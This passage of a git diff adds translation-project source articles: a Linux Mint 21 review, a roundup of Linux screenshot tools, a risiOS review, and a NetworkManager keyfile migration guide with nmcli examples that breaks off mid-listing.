you’re looking for and is also aesthetically better than a question mark of a sort. + +### Sticky Notes Improvements + +![linux mint 21 sticky notes][4] + +Sticky Notes got some new feature additions with the upgrade. Now, you can create duplicate notes with a single click. + +Furthermore, you can tweak the color selection of the notes to pick through a cycle instead of random ones. This should translate to a better user experience with Sticky Notes. + +### XApps Improvements + +Mint maintains a list of XApps, which aims to provide a consistent experience for Linux Mint users, and any other user with a different desktop environment/distro. + +Timeshift has joined the list, as the Linux Mint is responsible for developing it further. + +There are also improvements to directory browsing, thingy, and Warpinator. + +### Keeping AppImage Intact + +Ubuntu 22.04 LTS removed a library that made it possible to run AppImage files. So, you will have to [fix that manually][5] to use AppImage on Ubuntu. + +With Linux Mint 21, you do not have to worry about it. You get the essential libraries pre-installed to have AppImage files run as one would expect. + +### New Bluetooth Application: Blueman + +![linux mint 21 blueman][6] + +A new Blueman tool replaces the Blueberry tool. + +Technically, Blueberry was a front-end XApp for GNOME Bluetooth. But, with newer GNOME updates, the compatibility was affected, which needed changes to fix it. + +Hence, the easier and potentially better way was to use Blueman, which is a powerful Bluetooth utility. + +It is easy to use but offers a variety of options for advanced users. So, it is a good addition to Linux Mint 21. + +### Linux Kernel Update + +![linux mint 21 neofetch][7] + +Mint 21 features Linux Kernel 5.15 LTS, which introduces modern hardware compatibility, and improves NTFS support. + +The newer kernel should also provide enhanced support for Intel Alder Lake processors and newer GPUs. + +### System Resource Usage + +![linux mint 21 resource usage][8] + +Linux Mint is based on Ubuntu. The underlying performance improvement should be there but don’t expect a huge difference in the resource usage compared to the previous Mint edition. + +The screenshot above gives you an idea of idle usage with Linux Mint 21 Cinnamon. It could be a different story for Xfce or MATE editions. + +### Package Updates & Other Improvements + +![linux mint 21 package manager][9] + +Obviously, you can expect newer package updates with Linux Mint 21. + +For instance, the latest Firefox browser is pre-installed as a deb file instead of Snap, which is a notable change compared to Ubuntu 22.04 LTS. + +The process of uninstallation gets refinements where the application’s dependencies will be evaluated before completely removing it. Furthermore, any associated dependencies installed along the application, which are not needed by the system, will be automatically removed at the time of uninstallation. + +You no longer have to rely on **apt autoremove** command to remove unnecessary dependencies. + +### Not The Most Exciting Upgrade: Is It? + +The Linux Mint team has made it clear that it follows the upstream but filters away the bad changes that users hate. + +Whether it is about Firefox being a Snap or anything else, Linux Mint 21 manages to provide a close-to-home experience without forcing the feature upgrades introduced with Ubuntu LTS releases. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/linux-mint-21-review/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/upgrade-linux-mint-version/ +[2]: https://youtu.be/-D7NWmfxutk +[3]: https://itsfoss.com/wp-content/uploads/2022/08/linux-mint-21-home.jpg +[4]: https://itsfoss.com/wp-content/uploads/2022/08/linux-mint-21-sticky-notes.jpg +[5]: https://itsfoss.com/cant-run-appimage-ubuntu/ +[6]: https://itsfoss.com/wp-content/uploads/2022/08/linux-mint-21-blueman.jpg +[7]: https://itsfoss.com/wp-content/uploads/2022/08/linux-mint-21-neofetch.jpg +[8]: https://itsfoss.com/wp-content/uploads/2022/08/linux-mint-21-resource-usage.jpg +[9]: https://itsfoss.com/wp-content/uploads/2022/08/linux-mint-21-package-manager.jpg diff --git a/sources/tech/20220820 What-s your favorite screenshot tool on Linux-.md b/sources/tech/20220820 What-s your favorite screenshot tool on Linux-.md new file mode 100644 index 0000000000..5ae517f2d1 --- /dev/null +++ b/sources/tech/20220820 What-s your favorite screenshot tool on Linux-.md @@ -0,0 +1,163 @@ +[#]: subject: "What's your favorite screenshot tool on Linux?" +[#]: via: "https://opensource.com/article/22/8/favorite-screenshot-tool-linux" +[#]: author: "AmyJune Hineline https://opensource.com/users/amyjune" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What's your favorite screenshot tool on Linux? +====== +There are many open source screenshot tools to choose from, but which one works for you? + +![Browser of things][1] + +> What's your favorite screenshot tool? +> +>* Spectacle +>* GNOME screenshot +>* Simple Screen Recorder +>* Flameshot +>* ImageMagick +>* Scrot +>* Grim +>* I'll tell you in the comments! + +(to wxy:我们在公众号里也搞个这个投票吧!) + +As the saying goes, a picture is worth a thousand words, and while that's not always the case with terminal commands and code, it still holds true for the graphical desktop. Screenshots capture precisely what's on your screen. I love taking them to have a record of who attends meetings, so I don't have to write it down at the moment. Or to capture a bug when doing UI testing. We all take them for different reasons, though, and there are more ways to take a screenshot than you might at first think. + +I started thinking about screenshots after Jim Hall wrote an as the ways he often takes screenshots. And yet that's just the beginning, as I quickly found out when I asked Opensource.com authors how they each take screenshots. + +### Making a spectacle + +![Spectacle][2] + +I use Spectacle. It works perfectly for my simple needs. + +**[—David Both][3]** + +I use KDE. It ships with Spectacle, which seems to be responsible for taking a screenshot when I push the **PrtScr** (Print Screen) key. + +A nice feature is that the default action is to take a screenshot immediately when you press **PrtScr**, but then it brings up the Spectacle interface, so you can take more sophisticated screenshots (a rectangular area, the window under your cursor, and so on.) + +**[—Greg Pittman][4]** + +### Framing the shot + +For a long time I had wanted to capture only a small amount of the screen in a screenshot, not the whole thing, but struggled to know how. + +Since then I've installed KolourPaint. I open the full screenshot inside the program, and cut out the part I want to keep. Hope this could help others suffering the same screenshot dilemma! + +**[—Laurence Urhegyi][5]** + +I use **Shift**+**PrtSc** to capture a small amount of the screen in a screenshot. + +**[—Agil Antony][6]** + +### Emacs + +A while back I created an [Elisp function][7] to take a screenshot from Emacs. + +**[—Sachin Patil][8]** + +### Flameshot + +![Flameshot][9] + +[Flameshot][10], the one and only! Nothing is missing in this wonderful tool: doodling, arrows, adding text, a pixelate tool for blurring out sensitive information, an autoincrementing counter bubble, save, copy, the ability to open the screenshot in a selected application, and the list goes on and on. Once I installed it, I've never looked for anything else! + +A friendly hint: when installing from Flatpak, you might want to use [Flatseal][11] to grant access to your home folder, otherwise the Save dialog will feel somewhat empty. + +**[—Tomasz Waraksa][12]** + +### ImageMagick + +``` +#!/bin/bash +current=$(date +%H-%M-%S-%d-%m-%Y).png +if [[ -z "${1}" ]]; then +   import -window root "${HOME}/${current}" # All screen +else +   import "${HOME}/${current}" # Custom screenshot +fi + +notify-send "Screenshot ${current} taken successfully!" +``` + +**—Suporte Terminal Root** + +### GNOME + +![GNOME Screenshot][13] + +As a mostly GNOME Desktop user, I was happy taking screenshots with the regular **PrtSc**, **Ctrl**+**PrtSc**, or **Shift**+**PrtSc** keys. My favorite is **Shift** because it allows me to select an area of the screen. + +Recently, GNOME recently introduced an improved screenshot tool when you simply hit **PrtSc**. I haven't even used it that much yet, so I'm looking forward to trying it out thoroughly on some future articles. + +**[—Alan Formy-Duval][14]** + +As a satisfied GNOME user, I've been using the built-in screenshot tool. With the older version, I would screenshot a window with **Shift**+**PrtSc**. Now I just use **PrtSc** and select the region with the tool. I like the new one better, but if I had to go back to the old, that'd be OK too. + +**[—Chris Hermansen][15]** + +### XFCE Screenshooter + +![XFCE Screenshooter][16] + +I've been using XFCE lately, and **xfce4-screenshooter** has been doing an excellent job. Like the rest of XFCE, it's minimal but highly functional, with options to capture the entire screen, the active window, or just a region. You can even activate or deactivate whether the mouse cursor is included in the shot. + +**[—Klaatu][17]** + +### Grim and Slurp + +I have a fun little alias that I use for screenshots: + +``` +alias sshot='; grim -g "$(slurp)" screenshot-$(date +%s).png 2> /dev/null' +``` + +It lets me draw a rectangle on my screen, and it captures just that area. The command uses **grim** and **slurp**, both available in the Fedora repos. + +But this only works on Wayland. On X11, you can replace them with **maim** and **scrot**. + +**[—Mohammed Saud][18]** + +### Your screenshot tool + +What's your screenshot tool of choice? Tell us in the comments! + +Image by: (Seth Kenlon, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/favorite-screenshot-tool-linux + +作者:[AmyJune Hineline][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/amyjune +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/browser_desktop_website_checklist_metrics.png +[2]: https://opensource.com/sites/default/files/2022-08/screenshot-spectacle.webp +[3]: https://opensource.com/users/dboth +[4]: https://opensource.com/users/greg-p +[5]: https://opensource.com/users/laurence-urhegyi +[6]: https://opensource.com/users/agantony +[7]: https://gitlab.com/psachin/emacs.d/-/blob/dev/custom_functions.org +[8]: https://opensource.com/users/psachin +[9]: https://opensource.com/sites/default/files/2022-08/screenshot-flameshot.webp +[10]: https://github.com/flameshot-org/flameshot +[11]: https://flathub.org/apps/details/com.github.tchx84.Flatseal +[12]: https://opensource.com/users/tomasz +[13]: https://opensource.com/sites/default/files/2022-08/screenshot-gnome_0.webp +[14]: https://opensource.com/users/alanfdoss +[15]: https://opensource.com/users/clhermansen +[16]: https://opensource.com/sites/default/files/2022-08/screenshot-screenshooter.webp +[17]: https://opensource.com/users/klaatu +[18]: https://opensource.com/users/saud diff --git a/sources/tech/20220821 risiOS- A Friendly Fedora Spin with Distinctive Features.md b/sources/tech/20220821 risiOS- A Friendly Fedora Spin with Distinctive Features.md new file mode 100644 index 0000000000..8de33f96e4 --- /dev/null +++ b/sources/tech/20220821 risiOS- A Friendly Fedora Spin with Distinctive Features.md @@ -0,0 +1,162 @@ +[#]: subject: "risiOS: A Friendly Fedora Spin with Distinctive Features" +[#]: via: "https://www.debugpoint.com/risios-review/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +risiOS: A Friendly Fedora Spin with Distinctive Features +====== +risiOS is a nifty little Fedora-based distro with its unique set of features. A must-try for GNOME fans. + +risiOS is a Fedora workstation-based distro that ships unique tools and features for new users in Fedora. It is designed to make your Fedora journey easier by providing options at your fingertips. It’s a must-try distro because you get the Fedora GNOME offerings while enjoying additional features. + +In this article, I review risiOS 36 (based on [Fedora 36][1]), released in August 2022. + +### risiOS Review + +#### Installation + +Before I give details about the experience, there are several essential items regarding the installation. + +The installer size is reasonably small, 1.6 GB, and the installation uses Fedora’s installer. + +As per the minimum system requirement, risiOS asks for only 2GB of memory which is quite impressive. + +The tested version (Fedora 36 The Big Beta) did not show any surprises in installation – everything was pretty smooth. + +#### The desktop + +![risiOS Desktop version 36][2] + +Since it’s based on the Fedora workstation, the default desktop is GNOME with all Fedora’s built-in features. But there is some unique characteristic about this OS which I will describe soon. + +But first, let’s talk about the look. + +The clock, calendar, and quick settings menu are identical to the default GNOME. At the top left, the only difference is the risiOS logo. This version which I am reviewing, has [GNOME 42][3]. So, you won’t have the [newly designed quick settings][4]. + +Besides that, the workspace, application menu and essential items are the same as the Fedora workstation. + +A vibrant wallpaper featuring the risiOS logo is a distinguishing factor. + +#### Selling points of risiOS + +Although the look is the same, there are some unique items which risiOS brings. + +First, the welcome app from risiOS has some unique features – not the usual welcome stuff you see in distros. The “first step” items are suitable for new and advanced users. The UI design is to the point. No additional talks and to-the-point items. Good. + +What do you get here? You have the option to install NVIDIA drivers and [set up RPM fusion][5] and [Flatpak][6] with just one click of a button. + +![risiOS Welcome screen – First steps][7] + +In addition, there are Web apps and a built-in customization app launcher for additional tweaks. + +Most of the new users of Fedora may not know what RPM Fusion is or if it exists. Since Fedora is still less popular than Ubuntu among the new users – it’s a great addition to risiOS to provide a direct option to install these with a description. + +![Quick setup in Welcome wizard][8] + +Furthermore, a set of quick setup options gives you a one-click method to set up your PC for various tasks, such as gaming, video production, audio production, etc. + +But how? It uses a new method or a script called risiScript. + +#### risiScript + +The devs of this distro developed a new app install script called risiScript. Remember the [AUR of Arch Linux][9]? + +It’s similar to that concept. + +The risiScript is a simple text file with instructions for installing software. It’s the bash scripts but with a wrapper and GUI. + +So, the one-click install buttons you see in the welcome app – are all executing risiScript at the backend. The GUI is written in Python (I believe), and the scripts executing are the actual bash commands. + +Since it is open-source, risiScript has potential for other non-Arch distros. Distro creators can adopt this for various GUI-driven tasks, encapsulating complex bash scripts. You can find the code on [GitHub for risiScript][10]. + +![Sample risiScript for setting up Flathub repo][11] + +#### risiTweaks + +This is my favourite app in this distro. So, risiTweaks enables you to control and change different areas of the GNOME desktop. At first glance, it might feel like the GNOME Tweaks Tool from the look of it. + +But the features are packed. + +Firstly, you can change the accent colour in Fedora, which is yet to arrive in GNOME upstream from Ubuntu. Secondly, it has built-in GTK3 and GTK4 theme chooser with icon and cursor themes. + +![risiTweaks][12] + +Moreover, since this app has a built-in GNOME extension manager, you don’t need to install any other app. However, you can not search and install extensions from this app. + +Other features include desktop layout options such as clocks, battery percentage, system tray, mouse and keyboard settings. Also, you can change various Window settings such as modal dialog, window title bar actions, window button layouts and more. + +I wonder whether you can install this app on a normal Fedora workstation and see whether it works. It will be fun to see what happens. + +#### Web apps + +Another excellent item which is available is the Web app. The devs of this distro forked the Linux Mint’s Web app and created a GTK-based Web app manager and launcher. + +I am saying “manage” because it gives you an excellent GTK window to manage your custom web apps, plus a good list of prebuilt web apps for popular websites. I don’t remember seeing this in Linux Mint’s web app tool. + +![Web apps in risiOS][13] + +#### Default apps + +The default browser is Chromium instead of Firefox, and the GTK drawing app is available for quick drawings. And the rest of the apps are the same as what the Fedora workstation provides. LibreOffice is not installed; however, there is OnlyOffice repo is enabled, although it is not installed (I don’t know why). + +Some of the software is distributed via the copr repo for risiOS which the developers create. + +If you are wondering about performance, I would say it’s the same as the Fedora workstation edition. + +Finally, the nice risiOS wallpaper alongside one or two new wallpapers gives it a nice touch. + +### Summary of risiOS offerings + +With that said, here’s a summary of risiOS on what you get. + +* At its core, identical to Fedora Workstation +* risiTweaks is full of features, including managing the GNOME Extensions +* Create your web apps with ease and also install web apps from the store +* Powerful risiScript for better user experience +* Curated apps delivered via risiOS copr +* Small team, hence the releases is a little delayed after Fedora official launches +* One-click options to make your system for gaming, development, creative work and so on. + +Overall, it’s a nice Fedora spin targeted to the new users who want to use Fedora. The built-in features to install NVIDIA, RPM Fusion and apps like Webapps, risiTweaks drawing will help new folks. Then again, to become more user-friendly, Fedora needs to change the installer – most importantly, the partition module. + +Since there are few Fedora-based community spins, such as [Ultramarine Linux][14], risiOS caters to some specific users. + +It’s a friendly little distro. Give it a try. + +You can download risiOS from the [official website][15]. + +![Join our Telegram channel and stay informed on the move.][16] + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/risios-review/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/fedora-36-features/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/08/risiOS-Desktop-version-36.jpg +[3]: https://www.debugpoint.com/gnome-42/ +[4]: https://www.debugpoint.com/gnome-43-quick-settings/ +[5]: https://www.debugpoint.com/enable-rpm-fusion-fedora-rhel-centos/ +[6]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/08/risiOS-Welcome-screen-First-steps.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/08/Quick-setup-in-Welcome-wizard.jpg +[9]: https://www.debugpoint.com/install-yay-arch/ +[10]: https://github.com/risiOS/risi-script +[11]: https://www.debugpoint.com/wp-content/uploads/2022/08/Sample-risiScript.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/08/risiTweaks.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/08/Web-apps.jpg +[14]: https://www.debugpoint.com/ultramarine-linux-36/ +[15]: https://risi.io/download/ +[16]: https://t.me/debugpoint diff --git a/sources/tech/20220823 How I migrated to NetworkManager keyfiles for configuration.md b/sources/tech/20220823 How I migrated to NetworkManager keyfiles for configuration.md new file mode 100644 index 0000000000..a78675520d --- /dev/null +++ b/sources/tech/20220823 How I migrated to NetworkManager keyfiles for configuration.md @@ -0,0 +1,347 @@ +[#]: subject: "How I migrated to NetworkManager keyfiles for configuration" +[#]: via: "https://opensource.com/article/22/8/migrate-networkmanager-keyfiles-configuration" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How I migrated to NetworkManager keyfiles for configuration +====== +Interface configuration files may not be supported in Fedora much longer, but migrating to NetworkManager is easier than you might think. + +![A network diagram][1] + +Image by: Opensource.com + +NetworkManager was introduced in 2004 to make network configuration more flexible and dynamic. The old SystemV startup shell scripts, of which the interface configuration files were a part, were incapable of handling WiFi, wired, VPNs, broadband modems, and more—or at least incapable of doing it quickly or efficiently. + +In a series of articles, I've written about why I'm a fan of NetworkManager and how I've used it. In [part 1][2], I looked at what NetworkManager does and some of the tools it provides for viewing network connections and devices. In that article, I mentioned that NetworkManager does not need interface configuration files for most hosts. However, it can create its own ini-style configuration files, and it recognizes the older network interface configuration files. The NetworkManager configuration files are officially called keyfiles. In [part 2][3], I looked at the deprecated interface configuration files and how to configure them, should you still be using them. + +Support for the deprecated `ifcfg` files is no longer provided by default for new installations beginning with Fedora 36. It will continue to use them on systems that have been upgraded from earlier versions of Fedora to release 36—at least for a while longer. Still, it is not a good idea at this late stage to depend on deprecated `ifcfg` configuration files. So for part 3 of this series, I will demonstrate migrating existing interface configuration files to the NetworkManager keyfiles using the command-line tool provided. I will also look at using both command-line and GUI tools to create new keyfiles from scratch and compare them for ease of use. + +The migration is considerably more straightforward than it sounds. I used the `nmcli connection migrate` command on the two systems I needed to migrate, one with a single network interface card (NIC) and one, my router/firewall, with three NICs. After some extensive testing on a VM, it also worked perfectly the first time on both production hosts. That's it: No other commands, options, or arguments required. And it is fast, taking much less than one second on both hosts. + +### Why should I migrate my files? + +Most of the restrictions of the old shell scripts lay in the structure—or lack thereof—of the `ifcfg` files. NetworkManager introduced the new network connection keyfiles to overcome those issues. But until Fedora 36, it still would recognize the old `ifcfg` configuration files. Now, NetworkManager no longer creates or supports `ifcfg` files for new installations. + +I experimented with NetworkManager on a new Fedora 36 installation and could not convince it to use newly created `ifcfg` files. It continued to treat the interfaces as dynamic host configuration protocol (DHCP) and obtain its configuration values from the DHCP server. The `ifcfg` files are no longer supported on new installations because the `NetworkManager-initscripts-ifcfg-rh` package is no longer installed. That package contains the tools needed to use the `ifcfg` files. Hosts upgraded from older releases of Fedora will still have the `NetworkManager-initscripts-ifcfg-rh` package installed, so it will, for the time being, be upgraded along with the rest of the installation to Fedora 36. This may not be true in the future. + +If you are using DHCP configuration for your network hosts, you do not need to migrate any `ifcfg` files. In fact, you can simply delete them, if they still exist, and NetworkManager will deal with managing the network connections. Personally, I prefer to move deprecated files like these to an archive subdirectory in `/root` so that I can find them later, just in case. + +All hosts with static connections should be migrated. This usually includes servers, firewalls, and other hosts that may need to perform their network functions without the DHCP server being active. I have two hosts like this: my main server and my firewall/router. + +### My experiments + +When NetworkManager officially deprecated the interface configuration files located in `/etc/sysconfig/network-scripts`, it did not immediately stop using them, but the update procedure did drop in a readme file, `/etc/sysconfig/network-scripts/readme-ifcfg-rh.txt`. This short file states explicitly that the `ifcfg` -style files are deprecated. It also provides a simple command that performs the migration for us. + +I suggest you read that file on your host and then experiment in a non-production environment. I used a VM for my experiments and learned a lot. Before I started making changes, I displayed the connection data shown below to get the current state of the network connection. + +``` +[root@myserver ~]# nmcli +enp0s3: connected to Wired connection 1 +        "Intel 82540EM" +        ethernet (e1000), 08:00:27:07:CD:FE, hw, mtu 1500 +        ip4 default +        inet4 192.168.0.136/24 +        route4 192.168.0.0/24 metric 100 +        route4 default via 192.168.0.254 metric 100 + +lo: unmanaged +        "lo" +        loopback (unknown), 00:00:00:00:00:00, sw, mtu 65536 + +DNS configuration: +        servers: 192.168.0.52 8.8.8.8 8.8.4.4 +        domains: example.org +        interface: enp0s3 +``` + +I created a simple `ifcfg` file that defines a static configuration on one of my VMs then tested it to verify that this static config worked properly. Here is the `ifcfg-enp0s3` file I created for this testing: + +``` +TYPE=Ethernet +PROXY_METHOD=none +BROWSER_ONLY=no +BOOTPROTO=static +# HWADDR=08:00:27:07:CD:FE +IPADDR=192.168.0.95 +PREFIX=24 +DEFROUTE=no +IPV4_FAILURE_FATAL=no +IPV6INIT=no +NAME=enp0s3 +ONBOOT=yes +DNS1=192.168.0.52 +DNS2=8.8.8.8 +AUTOCONNECT_PRIORITY=-999 +DEVICE=enp0s3 +``` + +I commented out the hardware address in the `ifcfg-enp0s3` file because it does not seem necessary. I tried it both ways, and it works just as well either way—once I finally got it working at all. NetworkManager completely ignored the contents of this file until I installed the `NetworkManager-initscripts-ifcfg-rh` package. After that, NetworkManager was able to set the network configuration from this `ifcfg-enp0s3` file. + +Then it was time to try the migration tool. I ran the command shown below to migrate the `ifcfg` file to a keyfile. + +``` +[root@myserver system-connections]# nmcli connection migrate +Connection 'Wired connection 1' (c7b11d30-522e-306f-8622-527119911afc) successfully migrated. +[root@myserver system-connections]# +``` + +This command took less than a second. It creates the new keyfile and then deletes the `ifcfg` file. I suggest making a copy of the original `ifcfg` file before running this migration tool. It created the `/etc/NetworkManager/system-connections/enp0s3.nmconnection` file for my host. Without specifying a specific interface, this command will migrate all `ifcfg` files located in `/etc/sysconfig/network-scripts`. If a host has multiple NICs and corresponding `ifcfg` files, only some of which you want to migrate, you can specify a list of connections to migrate. + +The keyfiles can be modified using your favorite editor. I tried this by changing the `IPADDR` entry and restarting NetworkManager just to make sure it worked. The `nmcli connection reload` command did not work for me. Making changes directly to the keyfiles using an editor is not recommended, but it does work. To be honest, many experienced sysadmins (like me) really prefer editing ASCII text configuration files directly, so—recommended or not—that is how I do things most of the time. I just like to know what is actually in those files so I can recognize when something is wrong with them. It helps with solving configuration problems. + +### Doing it for real + +After a day of experimenting so that I fully understood how this all works and how to recover in case it fails, I was ready to do it for real. I chose my main server for this initial attempt because it only has a single NIC, which will make it faster to get back online if there is a problem. + +First, I copied the file `/etc/sysconfig/network-scripts/ifcfg-eno1` shown in below to `/root` as a backup. The `nmcli connection migrate` command can make the conversion back from keyfile to `ifcfg` file. But why bother when I can have an exact backup ready to drop back in? + +``` +HWADDR=e0:d5:5e:a2:de:a4 +TYPE=Ethernet +PROXY_METHOD=none +BROWSER_ONLY=no +BOOTPROTO=static +DEFROUTE=yes +IPADDR=192.168.0.52 +PREFIX=24 +GATEWAY=192.168.0.254 +DOMAIN=example.org +IPV6INIT=no +DNS1=192.168.0.52 +DNS2=8.8.8.8 +DNS3=8.8.4.4 +IPV4_FAILURE_FATAL=no +IPV6INIT=no +PEERROUTES=no +NAME="enp0s31f6" +ONBOOT=yes +AUTOCONNECT_PRIORITY=-999 +DEVICE="enp0s31f6" +``` + +After running the `nmcli connection migrate` command, I verified that it emits the status line to indicate that the conversion took place, which it did. I next verified that the `ifcfg` file was gone and the `/etc/NetworkManager/system-connections/enp0s31f6.nmconnection` keyfile was in place: + +``` +[connection] +id=enp0s31f6 +uuid=abf4c85b-57cc-4484-4fa9-b4a71689c359 +type=ethernet +autoconnect-priority=-999 +interface-name=enp0s31f6 + +[ethernet] +mac-address=E0:D5:5E:A2:DE:A4 + +[ipv4] +address1=192.168.0.52/24,192.168.0.254 +dns=192.168.0.52;8.8.8.8;8.8.4.4; +dns-search=example.org; +ignore-auto-routes=true +method=manual + +[ipv6] +addr-gen-mode=stable-privacy +method=ignore +never-default=true + +[proxy] +``` + +This file will not be used until the NetworkManager is restarted or the host is rebooted. I first restarted NetworkManager and then checked the result, as shown below. The network configuration looks correct: + +``` +[root@myserver ~]# nmcli +enp0s31f6: connected to enp0s31f6 +        "Intel I219-V" +        ethernet (e1000e), E0:D5:5E:A2:DE:A4, hw, mtu 1500 +        ip4 default +        inet4 192.168.0.52/24 +        route4 default via 192.168.0.254 metric 100 +        route4 192.168.0.0/24 metric 100 + +lo: unmanaged +        "lo" +        loopback (unknown), 00:00:00:00:00:00, sw, mtu 65536 + +DNS configuration: +        servers: 192.168.0.52 8.8.8.8 8.8.4.4 +        domains: example.org +        interface: enp0s31f6 +``` + +After a complete reboot, I verified the network configuration again, and it looked identical to the output above. With that working, I removed the `NetworkManager-initscripts-ifcfg-rh` package and rebooted again, just because it can't hurt to verify everything. + +Once I knew that the migration tool works on one of my production systems, and an important one at that, I was ready to do this on my firewall/router, the one with three NICs. I ran the same `nmcli connection migrate` command on that host and verified the results. After ensuring all was working correctly, I used DNF to remove the `NetworkManager-initscripts-ifcfg-rh` package from both production hosts. And I tested with a couple more reboots of each host just to ensure nothing got borked during the removal of the `initscripts` package. + +### What if I don't have ifcfg files? + +New installations of Fedora don't create any type of network interface configuration files. The default is for NetworkManager to handle network interfaces as DHCP connections. So you don't need to do anything for hosts that use DHCP to obtain their network configuration information. + +However, you may need to create a static configuration for some new hosts even when you don't have a deprecated `ifcfg` file to migrate. + +### Reverting to DHCP + +Reversion to the use of DHCP is easy. Just remove the keyfile for the desired connection from `/etc/NetworkManager/system-connections/` and restart the NetworkManager. Remove can mean moving the file somewhere else or just deleting it. + +In preparation for my next series of experiments in creating new keyfiles, I moved the `enp0s31f6.nmconnection` keyfile to `/root` and restarted NetworkManager. + +##### Creating new keyfiles + +Although the old `ip` command can still be used to modify network interface settings in a live environment, those changes are not persistent after a reboot. Changes made using NetworkManager tools such as `nmcli` or `nmtui`, the GUI NetworkManager connection editor (`nm-connection-editor` ), and your favorite text editor are persistent. The connection editor is available for Fedora on the system tray for each of the desktops I tried—Xfce, Cinnamon, LXDE, KDE Plasma—and probably the rest of the desktops I haven't yet tried. + +##### Text editor + +Assuming you are familiar with the keyfile structure, syntax, and variables, creating or modifying keyfiles from scratch is possible with just an ASCII text editor. As much as I appreciate and use that capability, using one of the three tools provided is usually much simpler. + +##### Using nmtui + +The `nmtui` tool (NetworkManager Text User Interface) is my second choice for a tool in this trio. I find the interface cumbersome, unattractive, and not intuitive. This tool is not installed by default, and I probably would not have installed it if I were not writing this article. + +However, it does work, and it created a keyfile for me that was essentially identical to the one created by the GUI Connection Manager I discuss below. The only differences I found  (using the `diff` command, of course) were the timestamp field in the file and one different selection I intentionally made when configuring the connection. The interface does provide some clues about the data you need to provide to create a working keyfile. + +Start this tool by entering the command `nmtui` on the command line. In general, the arrow keys allow movement between the fields on the displayed pages, and the **Enter** key selects an item to modify or add. The **Page Up/Page Down** keys scroll the page. Select Edit a connection and press Enter to create a new keyfile. + +![A window shows three options under NetworkManager TUI. Edit a connection is first and highlighted in red][4] + +After wending my way through the interface, I arrived at the Edit Connection page. It was not clear to me from this interface that the CIDR prefix should be appended to the IP address, but I did that anyway, and it worked. Fill in the appropriate data on this page to configure the interface. Notice that I have disabled IPV6. + +![The Edit Connection window includes editable fields including name, device, IPv4 Configuration (including addresses, gateway, DNS servers, Search domains) and a similar IPv6 configuration, which is disabled. Routing options that can be checked are shown: Require IPv4 addressing for this connection is checked for this example.][5] + +Next, scroll down to the bottom of the page using the keyboard and press OK to save the keyfile. The keyfile is saved immediately, but NetworkManager must be restarted to activate this file, whether new or changed. Although this is not my favorite interface for creating and managing NetworkManager keyfiles, I plan to use it when the GUI Connection Editor is unavailable, such as when working on a remote host. + +##### Using nmcli + +I have used the `nmcli` tool (Network Manager Command Line Interface) to configure an interface in the past, and this tool also works very well. I just like it the least because it requires the most typing and reading of the man page and online references. Executing the command immediately creates the interface configuration file in the `/etc/NetworkManager/system-connections/` directory. + +The command shown below adds the needed keyfile, just like the other tools. + +``` +[root@myserver system-connections]# nmcli connection add connection-name enp0s3-Wired ifname enp0s3 type ethernet ipv4.addresses 192.168.0.136/24 ipv4.gateway 192.168.0.254 ipv4.dns 192.168.0.254,8.8.8.8,8.8.4.4 ipv4.dns-search example.org ipv6.method disabled +Connection 'ethernet-enp0s3' (67d3a3c1-3d08-474b-ae91-a1005f323459) successfully added. +[root@myserver system-connections]# cat enp0s3-Wired.nmconnection +[connection] +id=ethernet-enp0s3 +uuid=67d3a3c1-3d08-474b-ae91-a1005f323459 +type=ethernet +interface-name=enp0s3 + +[ethernet] + +[ipv4] +address1=192.168.0.136/32,192.168.0.254 +dns=192.168.0.52;8.8.8.8;8.8.4.4; +dns-search=example.org; +method=manual + +[ipv6] +addr-gen-mode=stable-privacy +method=disabled + +[proxy] +[root@myserver system-connections]# +``` + +One of the assistance tools available while using `nmcli connection add` is the Bash tab-completion sequence that shows the available subcommands: + +``` +[root@myserver system-connections]# nmcli connection add +autoconnect                        ifname                             ipv6.dhcp-send-hostname +con-name                           ipv4.addresses                     ipv6.dhcp-timeout +connection.auth-retries            ipv4.dad-timeout                   ipv6.dns +connection.autoconnect             ipv4.dhcp-client-id                ipv6.dns-options +connection.autoconnect-priority    ipv4.dhcp-fqdn                     ipv6.dns-priority +connection.autoconnect-retries     ipv4.dhcp-hostname                 ipv6.dns-search +connection.autoconnect-slaves      ipv4.dhcp-hostname-flags           ipv6.gateway +connection.dns-over-tls            ipv4.dhcp-iaid                     ipv6.ignore-auto-dns +connection.gateway-ping-timeout    ipv4.dhcp-reject-servers           ipv6.ignore-auto-routes +connection.id                      ipv4.dhcp-send-hostname            ipv6.ip6-privacy +connection.interface-name          ipv4.dhcp-timeout                  ipv6.may-fail 